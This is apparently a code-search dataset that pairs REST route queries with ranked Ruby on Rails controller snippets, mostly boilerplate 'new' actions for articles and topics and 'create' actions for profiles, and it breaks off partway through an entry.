"docid": "3ef1f163462f8d3519df7e6dfd251e8a", "score": "0.75731707", "text": "def new\n @article_datum = ArticleDatum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article_datum }\n end\n end", "title": "" }, { "docid": "e18c81eb359cdaf4d587fa885b6f53c4", "score": "0.7514795", "text": "def new\n @pages_article = PagesArticle.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pages_article }\n end\n end", "title": "" }, { "docid": "63dc8cb58f0ef516efb90f19afceee85", "score": "0.75093347", "text": "def new\n @article = article_new\n respond_with(@article)\n end", "title": "" }, { "docid": "41829708d7848d5988f8702a14407c0a", "score": "0.7450385", "text": "def new\n @article ||= Article.new(:locale => I18n.default_locale)\n @title = t('label.article.creating')\n\n respond_to do |format|\n format.html { render :action => \"new\" }\n format.xml { render :xml => @article }\n end\n end", "title": "" }, { "docid": "df7ec69a58af4f7f981791290bab864f", "score": "0.74356604", "text": "def new\n respond_to do |format|\n format.html # new.html.haml\n format.json { render :json => @news_item }\n end\n end", "title": "" }, { "docid": "da4818f012c3033f1d9fc68cd2ae84dd", "score": "0.74193674", "text": "def new\n @news_post = NewsPost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news_post }\n end\n end", "title": "" }, { "docid": "da4818f012c3033f1d9fc68cd2ae84dd", "score": "0.74193674", "text": "def new\n @news_post = NewsPost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news_post }\n end\n end", "title": "" }, { "docid": "cc43d27a962a6f9280e9cc99bb29463b", "score": "0.74191684", "text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @news_post }\n end\n end", "title": "" }, { "docid": "a2b57202f51014e4f289a97160674c4f", "score": "0.741654", "text": "def new\n @articleaddressee = Articleaddressee.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @articleaddressee }\n end\n end", "title": "" }, { "docid": "577d6314e134136cc2e8cb48616bf229", "score": "0.7381048", "text": "def new\n @clothing_article = ClothingArticle.new\n @categories = get_categories\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @clothing_article }\n end\n end", "title": "" }, { "docid": "bfc6b2561d4031b3f5aab0c2b66b49cd", "score": "0.737082", "text": "def new # this just registers the new route as a get route\n @article = Article.new # This allows the resource to uses the error method from the model\n end", "title": "" }, { "docid": "c4b25a525df5a9a6183d7373ed62c83d", "score": "0.73658323", "text": "def new\n @article = Article.new\n @drafts = Article.draft.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n end", "title": "" }, { "docid": "80d74132ba4103ec3fba9d1df8a99bc5", "score": "0.734202", "text": "def new\n @topic = Topic.new\n @page_title = \"New Topic\"\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end", "title": "" }, { "docid": "bc4da1e54f6d7a3c923f73e7eb985e64", "score": "0.7334741", "text": "def new\n respond_to do |format|\n @categories = Category.all\n @article = Article.new\n format.html { render layout: 'minimal' }\n format.json { render json: @article }\n end\n end", "title": "" }, { "docid": "c40ac73a7239f0856997434c28fc08d9", "score": "0.7321606", "text": "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @article }\n end\n end", "title": "" }, { "docid": "c40ac73a7239f0856997434c28fc08d9", "score": "0.7321606", "text": "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @article }\n end\n end", "title": "" }, { "docid": "c40ac73a7239f0856997434c28fc08d9", "score": "0.7321606", "text": "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @article }\n end\n end", "title": "" }, { "docid": "c40ac73a7239f0856997434c28fc08d9", "score": "0.7321606", "text": "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @article }\n end\n end", "title": "" }, { "docid": "c40ac73a7239f0856997434c28fc08d9", "score": "0.7321606", "text": "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @article }\n end\n end", "title": "" }, { "docid": "c40ac73a7239f0856997434c28fc08d9", "score": "0.7321606", "text": "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @article }\n end\n end", "title": "" }, { "docid": "c40ac73a7239f0856997434c28fc08d9", "score": "0.7321606", "text": "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @article }\n end\n end", "title": "" }, { "docid": "c40ac73a7239f0856997434c28fc08d9", "score": "0.7321606", "text": "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @article }\n end\n end", "title": "" }, { "docid": "d94aa8bc40bcee7ab2f70c64570d6147", "score": "0.7301172", "text": "def new\n @bolt_article = Bolt::Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bolt_article }\n end\n end", "title": "" }, { "docid": "2d6caf2c3b09fb03de5f1b37f692c2f2", "score": "0.727623", "text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tourism_article }\n end\n end", "title": "" }, { "docid": "0d450743cfae7eaf826c91c69b827890", "score": "0.7270851", "text": "def new\n @entity = Entity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entity }\n end\n end", "title": "" }, { "docid": "60fa1bbce434b7a3a13398d762b34bc6", "score": "0.72680026", "text": "def new\n @news_list = NewsList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news_list }\n end\n end", "title": "" }, { "docid": "94ac1c221762c13bad60159cf04f08a4", "score": "0.72570086", "text": "def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end", "title": "" }, { "docid": "94ac1c221762c13bad60159cf04f08a4", "score": "0.7255358", "text": "def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end", "title": "" }, { "docid": "94ac1c221762c13bad60159cf04f08a4", "score": "0.7255358", "text": "def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end", "title": "" }, { "docid": "94ac1c221762c13bad60159cf04f08a4", "score": "0.7255358", "text": "def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end", "title": "" }, { "docid": "94ac1c221762c13bad60159cf04f08a4", "score": "0.7255358", "text": "def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end", "title": "" }, { "docid": "94ac1c221762c13bad60159cf04f08a4", "score": "0.7255358", "text": "def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topic }\n end\n end", "title": "" }, { "docid": "67036dfbc189d2a6445d570cc15c87a7", "score": "0.7202809", "text": "def new\n @published = Published.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @published }\n end\n end", "title": "" }, { "docid": "7b00db6013cdb4983929029ec5e6145f", "score": "0.71859246", "text": "def new\n @announce = Announce.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @announce }\n end\n end", "title": "" }, { "docid": "0dec4316431d43b42ffe4784bb935707", "score": "0.71664274", "text": "def new\n @journal = Journal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json :@journal }\n end\n end", "title": "" }, { "docid": "f7b18dfbd36036e131c891639d21fce3", "score": "0.7163873", "text": "def new\n @article = Article.new\n respond_with @article\n end", "title": "" }, { "docid": "35c3b796fcc5f803f9cfde8523e29289", "score": "0.71476346", "text": "def new\n @article = current_user.articles.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @article }\n end\n end", "title": "" }, { "docid": "98385ee22adc10bf0c463df78efe950d", "score": "0.7146817", "text": "def new\n @art = Art.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @art }\n end\n end", "title": "" }, { "docid": "a7a79ef8095b60116f5ae4d0590b1b59", "score": "0.713678", "text": "def new\n @note = Note.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @notes }\n end\n end", "title": "" }, { "docid": "3009139465d2c4e30d06f777ece4a48a", "score": "0.71351147", "text": "def new\n @note = Note.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @note }\n end\n end", "title": "" }, { "docid": "3009139465d2c4e30d06f777ece4a48a", "score": "0.71351147", "text": "def new\n @note = Note.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @note }\n end\n end", "title": "" }, { "docid": "3009139465d2c4e30d06f777ece4a48a", "score": "0.71351147", "text": "def new\n @note = Note.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @note }\n end\n end", "title": "" }, { "docid": "3009139465d2c4e30d06f777ece4a48a", "score": "0.71351147", "text": "def new\n @note = Note.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @note }\n end\n end", "title": "" }, { "docid": "516f8b624cee87cfbf243974ff519ded", "score": "0.71267396", "text": "def new\n @article = Article.new\n end", "title": "" }, { "docid": "1664ad03be960fd4fad11b817761039a", "score": "0.7123104", "text": "def new\n @thing = Thing.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @thing }\n end\n end", "title": "" }, { "docid": "31868beb4f3b0c2fa698e5a5fe6e552a", "score": "0.7110451", "text": "def new\n @article = Article.new()\n end", "title": "" }, { "docid": "df941fe197922df2923131c23845ed76", "score": "0.7110131", "text": "def new\n @news_article = NewsArticle.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news_article }\n end\n end", "title": "" }, { "docid": "afca5192a80cf1f832d091f947d3c075", "score": "0.71065444", "text": "def new\n @article = Article.new\n end", "title": "" }, { "docid": "afca5192a80cf1f832d091f947d3c075", "score": "0.71065444", "text": "def new\n @article = Article.new\n end", "title": "" }, { "docid": "afca5192a80cf1f832d091f947d3c075", "score": "0.71065444", "text": "def new\n @article = Article.new\n end", "title": "" }, { "docid": "afca5192a80cf1f832d091f947d3c075", "score": "0.71065444", "text": "def new\n @article = Article.new\n end", "title": "" }, { "docid": "afca5192a80cf1f832d091f947d3c075", "score": "0.71065444", "text": "def new\n @article = Article.new\n end", "title": "" }, { "docid": "afca5192a80cf1f832d091f947d3c075", "score": "0.71065444", "text": "def new\n @article = Article.new\n end", "title": "" }, { "docid": "afca5192a80cf1f832d091f947d3c075", "score": "0.71065444", "text": "def new\n @article = Article.new\n end", "title": "" }, { "docid": "afca5192a80cf1f832d091f947d3c075", "score": "0.71065444", "text": "def new\n @article = Article.new\n end", "title": "" }, { "docid": "afca5192a80cf1f832d091f947d3c075", "score": "0.71065444", "text": "def new\n @article = Article.new\n end", "title": "" }, { "docid": "afca5192a80cf1f832d091f947d3c075", "score": "0.71065444", "text": "def new\n @article = Article.new\n end", "title": "" }, { "docid": "afca5192a80cf1f832d091f947d3c075", "score": "0.71065444", "text": "def new\n @article = Article.new\n end", "title": "" }, { "docid": "afca5192a80cf1f832d091f947d3c075", "score": "0.71065444", "text": "def new\n @article = Article.new\n end", "title": "" }, { "docid": "afca5192a80cf1f832d091f947d3c075", "score": "0.71065444", "text": "def new\n @article = Article.new\n end", "title": "" }, { "docid": "afca5192a80cf1f832d091f947d3c075", "score": "0.71065444", "text": "def new\n @article = Article.new\n end", "title": "" }, { "docid": "afca5192a80cf1f832d091f947d3c075", "score": "0.71065444", "text": "def new\n @article = Article.new\n end", "title": "" }, { "docid": "afca5192a80cf1f832d091f947d3c075", "score": "0.71065444", "text": "def new\n @article = Article.new\n end", "title": "" }, { "docid": "afca5192a80cf1f832d091f947d3c075", "score": "0.71065444", "text": "def new\n @article = Article.new\n end", "title": "" }, { "docid": "936c67a7c1d78b79c77dce97b1e986b5", "score": "0.7095789", "text": "def new\n @note = Note.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @note }\n end\n end", "title": "" }, { "docid": "540e26ec2082baa58c36a1b4edb21683", "score": "0.7087609", "text": "def new\n \n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @post }\n end\n end", "title": "" } ]
47a6c9a589eb0f1e04cabc17fab40a5a
POST /profiles POST /profiles.json
[ { "docid": "09d93391f280ea9b54cd5b2247f562f6", "score": "0.0", "text": "def create\n\n set_option_text_in_param\n @profile = current_user.build_profile(params[:profile])\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render json: @profile, status: :created, location: @profile }\n else\n @questions = Question.all(include: :options)\n @index=0\n format.html { render action: \"new\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "443f7ac6eb20f4026d28d4e500090204", "score": "0.7567471", "text": "def create\n @profile = current_user.profiles.new(params[:profile])\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render json: @profile, status: 201, location: @profile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @profile.errors, status: 422 }\n end\n end\n end", "title": "" }, { "docid": "f0474c8a6f41f503badaa6fd0ac3d360", "score": "0.7375113", "text": "def create\n @profile = Profile.new(profile_params)\n\n if @profile.save\n render json: @profile, status: :created, location: [:web, @profile]\n else\n render json: @profile.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "344a434cbae68937a13b2f6802809540", "score": "0.72969776", "text": "def create\n @profile = @user.profile.new(params[:profile])\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to user_profile, :notice => 'Profile was successfully created.' }\n format.json { render :json => @profile, :status => :created, :location => @profile }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @profile.errors, :status => :unprocessable_entity }\n end\n end\n \n end", "title": "" }, { "docid": "6f8d3d08c9567e1e716f12a385999eb3", "score": "0.7286112", "text": "def create\n @profile = current_user.profiles.new(params[:profile])\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to(@profile, :notice => 'Profile was successfully created.') }\n format.xml { render :xml => @profile, :status => :created, :location => @profile }\n format.json { render :json => @profile }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @profile.errors, :status => :unprocessable_entity }\n format.json { render :json => {:error => @profile.errors.full_messages} }\n end\n end\n end", "title": "" }, { "docid": "2240c50d6df3fb580bdf59b86a2fad00", "score": "0.70913076", "text": "def create\n @profile = Profile.new(params[:profile])\n @profile.user_id = current_user.id\n respond_to do |format|\n if @profile.save\n format.html { redirect_to profiles_path, notice: 'Profile was successfully created.' }\n format.json { render json: @profile, status: :created, location: @profile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f2249f515aaee3a22b515eb76b160c6d", "score": "0.7081625", "text": "def create\n @profile = Profile.new(profile_params)\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { redirect_to profiles_url, error: 'Profile was not successfully created.' }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dd500652ccc18cc9c65eb71ae3599c02", "score": "0.70502657", "text": "def create\n @profile = Profile.new(params[:profile])\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to current_user, notice: 'Profile was successfully created.' }\n format.json { render json: profile_user_path, status: :created, location: @profile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dd500652ccc18cc9c65eb71ae3599c02", "score": "0.70502657", "text": "def create\n @profile = Profile.new(params[:profile])\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to current_user, notice: 'Profile was successfully created.' }\n format.json { render json: profile_user_path, status: :created, location: @profile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fc226434d678dbbc4df137218943a192", "score": "0.7045218", "text": "def create\n signedin\n @profile = Profile.new(profile_params)\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "800208431ddcdee1fcfab4b5b1287161", "score": "0.7029043", "text": "def update_profile(profile = {}); JSON[Api::post_profile(profile, self)]; end", "title": "" }, { "docid": "3526acdbd1d3d79e2a089c7ae2350725", "score": "0.70254546", "text": "def create\n @profile = Profile.new(profile_params)\n\n if @profile.save\n render :show, status: :created, location: @profile\n else\n render json: @profile.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "df5a515a009f984f7042e6755327f4b8", "score": "0.7002038", "text": "def create\n @profile = Profile.new(params[:profile])\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render json: @profile, status: :created, location: @profile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "df5a515a009f984f7042e6755327f4b8", "score": "0.7002038", "text": "def create\n @profile = Profile.new(params[:profile])\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render json: @profile, status: :created, location: @profile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "df5a515a009f984f7042e6755327f4b8", "score": "0.7002038", "text": "def create\n @profile = Profile.new(params[:profile])\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render json: @profile, status: :created, location: @profile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "df5a515a009f984f7042e6755327f4b8", "score": "0.7002038", "text": "def create\n @profile = Profile.new(params[:profile])\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render json: @profile, status: :created, location: @profile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "df5a515a009f984f7042e6755327f4b8", "score": "0.7002038", "text": "def create\n @profile = Profile.new(params[:profile])\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render json: @profile, status: :created, location: @profile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "df5a515a009f984f7042e6755327f4b8", "score": "0.7002038", "text": "def create\n @profile = Profile.new(params[:profile])\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render json: @profile, status: :created, location: @profile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6fc574905446c08ef38e870b377908b9", "score": "0.6992743", "text": "def create\n @user = current_user()\n @profile = @user.profiles.new(params[:profile])\n\n respond_to do |format|\n if @profile.save\n flash[:notice] = 'Profile was successfully created.'\n format.html { redirect_to(@profile) }\n format.xml { render :xml => @profile, :status => :created, :location => @profile }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @profile.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2dedf73bb6ee568a8c7bb9954f1de683", "score": "0.6982516", "text": "def create\n @profile = Profile.new(params[:profile])\n\n respond_to do |format|\n if @profile.save\n if current_user.profile\n # TODO(costan): add to the list of secondary profiles\n else\n current_user.update_attributes! :profile => @profile\n end\n\n format.html { redirect_to session_path }\n format.xml { render :xml => @profile, :status => :created, :location => @profile } \n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @profile.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b65c8f8f7fd06e85b7473b4c728e9b2c", "score": "0.6981858", "text": "def create\n\n @profile = Profile.new(profile_params)\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "da712efe697915f9c0336213512e7144", "score": "0.6957636", "text": "def create\n @profile = Profile.new(profile_params)\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c39c35bccea60e53aa66fc2dd3d8e3b5", "score": "0.694236", "text": "def create\n @profile = Profile.new(profile_params)\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @profile }\n logger.debug \"Profile creation success\"\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c5d3ddd38280603c94cd174a2432ab7b", "score": "0.69397426", "text": "def create\n @profile = Profile.new(profile_params)\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: \"Profile was successfully created.\" }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c5d3ddd38280603c94cd174a2432ab7b", "score": "0.69397426", "text": "def create\n @profile = Profile.new(profile_params)\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: \"Profile was successfully created.\" }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2768e990022b5a9a3abc7ec03e8dcad8", "score": "0.6937631", "text": "def create\n @profile = Profile.new(profile_params)\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2768e990022b5a9a3abc7ec03e8dcad8", "score": "0.6937631", "text": "def create\n @profile = Profile.new(profile_params)\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2768e990022b5a9a3abc7ec03e8dcad8", "score": "0.6937631", "text": "def create\n @profile = Profile.new(profile_params)\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2768e990022b5a9a3abc7ec03e8dcad8", "score": "0.6937631", "text": "def create\n @profile = Profile.new(profile_params)\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2768e990022b5a9a3abc7ec03e8dcad8", "score": "0.6937631", "text": "def create\n @profile = Profile.new(profile_params)\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2768e990022b5a9a3abc7ec03e8dcad8", "score": "0.6937631", "text": "def create\n @profile = Profile.new(profile_params)\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2768e990022b5a9a3abc7ec03e8dcad8", "score": "0.6937631", "text": "def create\n @profile = Profile.new(profile_params)\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2768e990022b5a9a3abc7ec03e8dcad8", "score": "0.6937631", "text": "def create\n @profile = Profile.new(profile_params)\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2768e990022b5a9a3abc7ec03e8dcad8", "score": "0.6937631", "text": "def create\n @profile = Profile.new(profile_params)\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2768e990022b5a9a3abc7ec03e8dcad8", "score": "0.6937631", "text": "def create\n @profile = Profile.new(profile_params)\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2768e990022b5a9a3abc7ec03e8dcad8", "score": "0.6937631", "text": "def create\n @profile = Profile.new(profile_params)\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2768e990022b5a9a3abc7ec03e8dcad8", "score": "0.6937631", "text": "def create\n @profile = Profile.new(profile_params)\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2768e990022b5a9a3abc7ec03e8dcad8", "score": "0.6937631", "text": "def create\n @profile = Profile.new(profile_params)\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b0e51b25729dc38c36a7697309e28299", "score": "0.6935095", "text": "def create\n @profile = Profile.new(profile_params)\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: \"Profile was successfully created.\" }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3edaf45690c59f67b8cd6e690a181ddd", "score": "0.6930603", "text": "def create\n profile = profile_params\n user = User.where(email: profile_params[:user]).first\n profile[:user] = user\n @profile = Profile.new(profile)\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7c80cc034f02ba3e1eb79a9934212fe7", "score": "0.6923236", "text": "def create\n @profile = current_user.profiles.build(profile_params)\n @profile = ProfilesHelper.encode(@profile)\n\n\n if @profile.save\n redirect_to @profile, :flash => { :success => \"Profile created!\" }\n else\n render 'pages/home'\n end\n end", "title": "" }, { "docid": "6da2452899383951867e51daeda861dd", "score": "0.69129395", "text": "def create\n @profile = Profile.create(profile_params)\n @profile.user = current_user\n \n respond_to do |format|\n if @profile.save\n format.html { redirect_to root_path, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "efc78d2547b62eab718aaccac1a2a2b4", "score": "0.6892984", "text": "def create\n @profile = Profile.new(profile_params)\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, info: 'Profile was successfully created.' }\n format.json { render :show, success: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8fbcd2ee24caeb6959fc4763a93ba5cb", "score": "0.6881547", "text": "def create\n @profile = Profile.new(profile_params)\n @profile.user_id = current_user.id\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: \"Profile was successfully created.\" }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0b64017588d326f72b50bdc5b543b5de", "score": "0.6869861", "text": "def create\n @profile = Profile.new(profile_params)\n @profile.user_id = current_user.id\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to user_path(current_user), notice: 'Profile was successfully created.' }\n format.json { render action: 'show', status: :created, location: @profile }\n else\n 